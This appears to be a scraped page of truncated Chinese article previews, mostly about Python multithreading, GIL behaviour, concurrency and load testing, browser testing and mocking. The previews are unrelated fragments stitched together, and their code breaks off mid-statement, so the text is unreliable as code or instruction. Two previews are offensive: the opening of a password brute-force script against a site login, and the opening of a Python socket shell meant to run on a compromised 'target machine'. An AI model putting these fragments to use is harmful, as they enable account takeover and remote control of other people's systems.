import requestsimport jsonimport threadingimport timeimport uuid class postrequests(): def __init__(self): # UUID模块: # 产生UUID,生成唯一标识,uuid1:基于时间戳(由 MAC 地址(主机物理地址).当前时间戳.随机数生成.可以保证全球范围内的唯一性:但 MAC 的使用同时带来安全性问题,局域网中可以使用 IP 来代替MAC) # uuid.uuid2() -- 基于分布式

利用SoapUI进行简单的接口并发测试 by:授客 QQ:1033553122 测试环境: SoapUI Pro 5.1.2 步骤如下 1.   把请求添加到测试套件 1.1.     途径1 1.新建测试套件 右键WSDL定义 -> Generate TestSuite -> 选择套件风格(Style),点击OK - > 输入套件名称,确定 如上图,选择Style时有两种风格, 1.One TestCase for each Resource 2.Single TestCase wit

需求介绍 有时候想看看Web应用在代码或者数据库层有没有加锁,比如在一些支付.兑换类的场景,通过多线程并发访问的测试方式可以得到一个结论. 步骤 1. Burp Suite安装插件 安装一个Copy As Python-Requests插件,提高编码效率: 2. 拦截包并拷贝发包的代码 打开一个文本编辑器,右键粘贴出来: import requests burp0_url = "https://www.baidu.com:443/s?word=test123&tn=50000021_ha

本次实验设计两个方面的代码,第一个是客户端,代码如下: import os from socket import * c = socket(AF_INET,SOCK_STREAM) c.connect(('127.0.0.1',6668)) while 1: cmd = raw_input('please put something :') if cmd=='exit': c.close() break c.send(cmd) data = c.recv(1024) print data 在本次

python多线程如果不进行并发数量控制,在启动线程数量多到一定程度后,会造成线程无法启动的错误. 下面介绍用Queue控制多线程并发数量的方法(python3). # -*- coding: utf-8 -*- import threading import Queue import random import time maxThreads = 3 class store(threading.Thread): def __init__(self, store, queue): threadi

前言 在web测试中,不可避免的一个测试就是浏览器兼容性测试,在没有自动化测试前,我们总是苦逼的在一台或多台机器上安装N种浏览器,然后手工在不同的浏览器上验证主业务流程和关键功能模块功能,以检测不同浏览器或不同版本浏览器上,我们的web应用是否可以正常工作. browser.png 下面我们看看怎么利用python selenium进行自动化的跨浏览器测试. 什么是跨浏览器测试 跨浏览器测试是功能测试的一个分支,用以验证web应用能在不同的浏览器上正常工作. 为什么需要跨浏览器测试 通常情况下,

前言 在web测试中,不可避免的一个测试就是浏览器兼容性测试,在没有自动化测试前,我们总是苦逼的在一台或多台机器上安装N种浏览器,然后手工在不同的浏览器上验证主业务流程和关键功能模块功能,以检测不同浏览器或不同版本浏览器上,我们的web应用是否可以正常工作. 下面我们看看怎么利用python selenium进行自动化的跨浏览器测试. 什么是跨浏览器测试 跨浏览器测试是功能测试的一个分支,用以验证web应用能在不同的浏览器上正常工作. 为什么需要跨浏览器测试 通常情况下,我们都期望web类应用能

由于SAP系统自身原因,或者公司内部ABAP代码的算法效率不高,我们经常遇到,手工执行某个事务代码下载某个报表会非常耗时,小爬曾见过公司某个自开发的报表,单家公司的数据下载超过半小时.如果我们刚好接到一个自动化需求:批量下载N个公司的某些报表数据,即使我们用python脚本实现了该场景的自动化,效率依然不高. 或许我们可以尝试python的多线程技术来加速.这应该是个好主意,现在小爬就带着大家往多线程这个方向思考. SAP GUI的会话数量一般都有限制,各个公司的SAP策略或有不同,在小爬所在的

目录 结合多线程实现服务端并发(不用socketserver模块) 服务端代码 客户端代码 CIL全局解释器锁****** 可能被问到的两个判断 与普通互斥锁的区别 验证python的多线程是否有用需要分情况讨论 计算密集型任务 IO密集型任务 小结论 死锁与递归锁 死锁 递归锁 RLock 信号量 Semaphore Event事件 线程结合队列 结合多线程实现服务端并发(不用socketserver模块) socketserver自带多线程 服务端代码 import socket from

转载于: https://my.oschina.net/leejun2005/blog/398826 在批评Python的讨论中,常常说起Python多线程是多么的难用.还有人对 global interpreter lock(也被亲切的称为"GIL")指指点点,说它阻碍了Python的多线程程序同时运行.因此,如果你是从其他语言(比如C++或Java)转过来的话,Python线程模块并不会像你想象的那样去运行.必须要说明的是,我们还是可以用Python写出能并发或并行的代码,并且能带

最近在一个Python(3.5)的小项目中需要用到多线程加快处理速度,同时需要显示进度,于是查了些资料找到几个实现方法:线程池的map-reduce和Queue结合线程的实现.这里简单的实例介绍一下Queue结合线程的实现方法. 这个示例的主要功能是利用Queue和Thread模拟一个固定线程数的线程池,实现一个命令行窗口里的进度显示,比如(1%~100%). import multiprocessing from threading import Lock, Thread from queue

python 为什么不能利用多核 CPU  GIL 其实是因为在 python中有一个 GIL( Global Interpreter Lock),中文为:全局解释器锁.  1.最开始时候设计GIL是为了数据安全 python为了数据安全设计了这个 GIL.  2.每个 CPU在同一时间只能执行一个线程:  (在单核 CPU下的多线程其实都只是并发,不是并行,并发和并行从宏观上来讲都是同时处理多路请求的概念. 但并发和并行又有区别,并行是指两个或者多个事件在同一时刻发生:而并发是指两个或多个事件

这篇文章主要介绍了利用Python中的mock库对Python代码进行模拟测试,mock库自从Python3.3依赖成为了Python的内置库,本文也等于介绍了该库的用法,需要的朋友可以参考下    如何不靠耐心测试 通常,我们编写的软件会直接与那些我们称之为“肮脏的”服务交互.通俗地说,服务对我们的应用来说是至关重要的,它们之间的交互是我们设计好的,但这会带来我们不希望的副作用——就是那些在我们自己测试的时候不希望的功能. 比如,可能我们正在写一个社交软件并且想测试一下“发布到Facebook

爬虫库 使用简单的requests库,这是一个阻塞的库,速度比较慢. 解析使用XPATH表达式 总体采用类的形式 多线程 使用concurrent.future并发模块,建立线程池,把future对象扔进去执行即可实现并发爬取效果 数据存储 使用Python ORM sqlalchemy保存到数据库,也可以使用自带的csv模块存在CSV中. API接口 因为API接口存在数据保护情况,一个电影的每一个分类只能抓取前25页,全部评论.好评.中评.差评所有分类能爬100页,每页有20个数据,即最多为

忘记秘密利用python模拟登录暴力破解秘密: #encoding=utf-8 import itertools import string import requests def gen_pwd_file(file="pwd_file.txt"): """ 生成候选密码文件,可以网上直接下载一个或自己直接写 """ # words = string.digits+string.letters words = ' pwd_it

除了使用性能测试工具进行性能测试,我们也可以直接用python多线程进行性能测试. 下面,使用这几个模块,对一个查询接口做性能测试: requests:发送http请求 json:返回的字符串转换成json格式 threading:多线程 time:统计时间 具体实现过程见代码及注释. import requests import json import threading import time # 定义请求基本地址 base_url = "http://127.0.0.1:8000"

任务 在https://pastebin.com网站注册一个账号,利用python实现用户的自动登录和创建paste.该任务需要分成如下两步利用python实现: 账号的自动登录 paste的自动创建 模拟账号登录 模拟登录,需要知道登录的URL是什么,那么登录URL怎么去看呢. 进入https://pastebin.com/之后,发现是以访客的身份进入的,点击身份图像的下拉中的LOGIN,进入登录页面,打开Chrome开发工具,选择Network,勾选Preserve log: 输入用户名和密

最近学习了Fiddler抓包工具的简单使用,通过抓包,我们可以抓取到HTTP请求,并对其进行分析.现在我准备尝试着结合Python来模拟GitHub登录. Fiddler抓包分析 首先,我们想要模拟一个网站的登录,我们必须要简单了解其大致过程. 在这里,我通过Fiddler来抓取GitHub登录的请求,从网页上登录的URL为:https://github.com/login ,抓包结果如下: 左边的是会话列表,右边的是请求和响应的数据.一般情况下,登录都是用POST请求,因为我在左边的会话列表中

有的时候我们在获取到目标电脑时候如果对方电脑又python 编译环境时可以利用python 反弹shell 主要用到python os库和sokect库 这里的服务端在目标机上运行 from socket import * from os import * s=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议 s.bind(('',6666))#补丁端口 s.listen(1)#开始监听一个队列 while True: sock,addr=s.accept()#

1 概念梳理: 1.1 线程 1.1.1 什么是线程 线程是操作系统能够进行运算调度的最小单位.它被包含在进程之中,是进程中的实际运作单位.一条线程指的是进程中一个单一顺序的控制流,一个进程中可以并发多个线程,每条线程并行执行不同的任务.一个线程是一个execution context(执行上下文),即一个cpu执行时所需要的一串指令. 1.1.2 线程的工作方式 假设你正在读一本书,没有读完,你想休息一下,但是你想在回来时恢复到当时读的具体进度.有一个方法就是记下页数.行数与字数这三个数值,这